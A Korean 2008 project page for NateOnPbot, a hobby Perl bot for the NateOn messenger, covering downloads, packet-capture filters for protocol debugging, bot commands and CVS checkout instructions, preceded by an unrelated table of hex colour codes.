4F3B00	45360A	3B3114	312C1D
332600	2C2206	26200D	201D13
FFFDEF	FDFBF1	FBFAF3	F9F8F5
FFFCE0	FBF9E4	F7F5E8	F3F2EB
FFFAC7	F8F4CE	F1EED5	EAE9DC
FFF7A2	F3EFAD	E7E3B9	DCDAC5
FFF270	EDE382	DBD494	C9C6A5
FFED33	E5D74C	CCC366	B2AD7F
FFEA00	DFCF20	BFB440	9F995F
E6D200	C9BA1D	ACA239	8F8A56
C4B200	AB9D18	938A31	7A7549
9D8E00	897D13	756D27	625E3B
766A00	675E0F	58521D	49462C
554C00	4A430A	3F3A15	353320
3C3500	342F07	2D290F	252316
272300	221F05	1D1B0A	18170E
220013	141203	111006	0E0D08
0F1A00	0E1603	0D1306	0D100A
FFFEF8	FEFDF9	FDFDFA	FCFCFA
F8FCF3	F8FBF4	F7F9F5	F7F8F6
F2F9E8	F2F7EA	F1F4EC	F0F2EE
E8F5D5	E7F1D9	E6EDDD	E6E9E1
D9EFB9	D8E8C0	D8E8C0	D5DACD
C4E693	C2DB9D	C0D1A8	BEC7B2
ABDC65	A8CD74	A6BE83	A3AF91
90D133	8CBD47	88A95A	85956E
74C600	6FAD19	6B9431	677B4A
69B319	659C16	61862D	5D7043
61A500	5D9014	597B29	56673E
549000	517E12	4E6C24	4B5A36
457700	42680F	40591E	3D4A2C
355C00	33500B	314517	2F3922
264200	233908	233110	222919
192C00	182605	17210B	161B10
F7FAF6	F7F9F6	F7F9F7	F7F8F7
ECF5EB	EDF3EC	EEF2ED	EFF1EF
DFEEDD	E1ECDF	E2E9E1	E3E7E3
CBE4C9	CDE0CC	D1DDD0	D4DAD3
B3D7B0	B7D2B5	BBCDBA	BFC8BE
96C792	9BC098	A1B99F	A7B3A6
75B570	7CAC78	83A381	8B9B8A
52A34C	5C9857	658D62	6E826C
2D8F26	388233	437440	4F674D
087B00	156B0F	235C1F	304D2E
076900	125C0D	1D4E1A	294127
065400	0E490A	183F15	20341F
054100	0C3908	123010	192818
043100	092B06	0E240C	131E12
032200	061D04	0A1908	0E150D
021600	041303	061005	080D08
EEEEEE	E5E5E5	DDDDDD	D0D0D0
C0C0C0	ADADAD	989898	808080
666666	4B4B4B	262626	000000

[pbot] - NateOnBot

알라신께충성 — Sun, 08 Jun 2008 17:30:26 +0900

Download : [nateonpbot-1.0.2.tar.bz2]

패키지	릴리즈 & 노트	파일명	날짜
			크기	내려받기	아키텍처	형식
pbot
nateonpbot			2008-06-03 02:43
nateonpbot-1.0.0.tar.bz2			11 KB	0	Any	Source .bz2
nateonpbot-1.0.1.tar.bz2			11 KB	0	Any	Source .bz2

# Perl 로 간단히 구현해본 NateOn Bot 입니다.^^

[http://kldp.net/projects/pbot/]
[http://kldp.net/plugins/scmcvs/cvsweb.php/?cvsroot=pbot]
[http://pbot.kldp.net]

NateOnPbot By YoungJoo-Kim <bando@bando.org>

NateOn clients

http://nateon.kldp.net
http://nateon.haz3.com

Packet dump tools

   [tcpdump]
tcpdump -s 1024 -X port 5004 and tcp
   [ngrep]
ngrep port 5004 and tcp
   [Wireshark]
tcp.port == 5004

* 실행 환경

Perl 5.8.8 ~
Windows / Linux / ...

* 실행

perl Nateon
perl Nateon [ID] [PASSWORD]

NateOn Login

NateOn Login Flow View

* 기본 기능

   * 파일은 그냥 올리면 files 디렉토리 밑에 파일들이 업로드 된다.
   * Windows / Linux 에서 테스트 했다.
   * 사전/번역기는 cdic(http://cdic.kldp.net) 을 설치 해야 하며 Windows 환경에서는 사용 불가하다.

도와줘

1. 파일 송수신/삭제

1.1 올린거
업로드한 파일 리스트를 보여준다.

올린거

   1.2 내놔 [파일명]
   업로드한 파일 리스트를 다운로드 한다.

   1.3 삭제 [파일명]
   업로드한 파일 리스트를 삭제한다.

내놔/삭제

2. 등록된 사용자에게 쪽지 발송 기능

쪽지 addnick@nate.com 누구냐?

쪽지

3. 별명 변경

별명 [별명]

4. 영한 한영 사전/번역기(http://cdic.kldp.net)

   korea
   한국
   I hate you.

사전/번역기

* 수정시 참고 사항

   Event 제어 메소드:
   messengerEvent()
   Message 제어 메소드:
   messengerMesg()

* CVS [http://kldp.net/plugins/scmcvs/cvsweb.php/?cvsroot=pbot]

# 이 프로젝트의 CVS 저장소는 다음과 같은 방법을 통해 익명(pserver)으로 체크아웃하실 수 있습니다.
# modulename에 체크아웃하고자 하는 모듈 이름을 정확히 명시하셔야 합니다.
# anonymous에 대해서 비밀번호를 입력하는 부분이 나오면 그냥 엔터키를 누르시면 됩니다.

[root@bando ~]# cvs -d :pserver:anonymous@kldp.net:/cvsroot/pbot login
Logging in to :pserver:anonymous@kldp.net:2401/cvsroot/pbot
CVS password: [Enter]

[root@bando ~]# cvs -d :pserver:anonymous@kldp.net:/cvsroot/pbot checkout pbot

* 주절주절

   심심해서 2틀간 만들고 4일간 돌려봤더니 안죽고 잘 돌았습니다...
   앞뒤 생각 안하고 일단 돌아가게만 만들었습니다...
   전 잘 돌아갔지만 분명히 잘 안돌아가는 환경이 있을 것이라 예상됩니다...
   그냥 심심풀이로 몇번 가지고 놀다가 버려주시면 감사하겠습니다...